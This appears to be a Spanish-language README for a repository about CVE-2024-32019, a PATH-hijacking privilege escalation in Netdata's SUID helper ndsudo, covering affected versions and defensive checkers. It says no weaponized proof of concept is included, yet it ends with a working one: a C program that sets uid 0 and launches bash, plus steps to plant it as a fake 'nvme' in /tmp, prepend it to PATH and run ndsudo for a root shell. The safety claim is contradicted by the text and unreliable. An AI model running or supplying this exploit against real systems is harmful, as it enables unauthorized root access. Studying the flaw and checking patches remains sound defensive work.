
Comprueba la exposición a la escalada de privilegios de Netdata ndsudo SUID PATH para CVE-2024-32019 y valida los parches sin explotación weaponizada.
ndsudo de NetdataEl helper ndsudo de Netdata (instalado con setuid root) restringe qué comandos ejecutará, pero resuelve esos comandos usando el PATH del invocador. En las versiones afectadas, un usuario local puede colocar un binario malicioso antes en el PATH y hacer que ndsudo lo ejecute con privilegios de root. Corregido en Netdata 1.45.3 y 1.45.0-169.
Afectados: >= 1.44.0-60, < 1.45.0-169 y (según el aviso upstream).
>= 1.45.0, < 1.45.3Corregido: 1.45.3 (estable), 1.45.0-169 (nightly). GitHub
Escalada de privilegios local a root en sistemas donde ndsudo está instalado con SUID y el usuario puede invocarlo (habitualmente miembros del grupo netdata). NVDGitHub
ndsudo es SUID-root y permite una lista blanca de subcomandos como nvme-list, nvme-smart-log, etc.
Llama a ejecutables externos por nombre (p. ej., nvme), que se resuelven mediante PATH en lugar de usar rutas absolutas o una búsqueda segura y fija.
Si un directorio escribible aparece antes que las rutas del sistema, un atacante puede introducir un binario de aspecto similar que se ejecutará como root. GitHub
Este repositorio incluye comprobadores no explotables que:
Inspeccionan /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (o donde esté instalado) en busca de SUID/propiedad.
Enumeran el PATH en busca de directorios escribibles anteriores a las rutas comunes del sistema.
Confirman la presencia de nombres de subcomandos en la lista blanca que ndsudo podría intentar ejecutar.
Opcionalmente ejecutan ndsudo --test <subcommand> para imprimir el comando resuelto sin ejecutarlo (usar con precaución, leer el código primero). GitHub
⚠️ No se incluye ningún PoC armado. Este proyecto es para defensores e investigadores para evaluar la exposición y validar los parches de forma responsable.
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Aviso de Netdata (GHSA-pmhq-4cxq-wj93). GitHub
Resumen de Wiz. wiz.io
Artículo de Snyk. Vulnerability Guide
Listado MITRE/CVE. CVE